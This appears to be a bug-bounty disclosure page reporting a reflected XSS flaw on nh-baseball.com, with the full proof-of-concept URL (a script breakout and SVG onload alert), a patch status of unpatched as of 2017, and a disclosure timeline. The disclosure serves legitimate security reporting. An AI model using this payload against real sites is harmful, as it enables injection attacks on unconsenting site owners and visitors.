logo
DATABASE RESOURCES PRICING ABOUT US

nh-baseball.com XSS vulnerability

Description

##### Vulnerable URL: http://www.nh-baseball.com/teams/default.asp?u=NHBASEBALL&s;=baseball&p;=registration1%22--%3E%3C/script%3E%3Csvg/onload=%27;alert%28/OPENBUGBOUNTY/%29;%27%3E&formID;=124019 ##### Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7380817 VIP website status:| No Check nh-baseball.com SSL connection:| (Grade: B+) ##### Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via Open Bug Bounty| 15 May, 2016 05:22 GMT Generic security notifications sent to website owner| 15 May, 2016 05:24 GMT Notification sent to subscribers (without technical details)| 15 May, 2016 06:17 GMT Vulnerability details disclosed by researcher| 22 May, 2016 06:11 GMT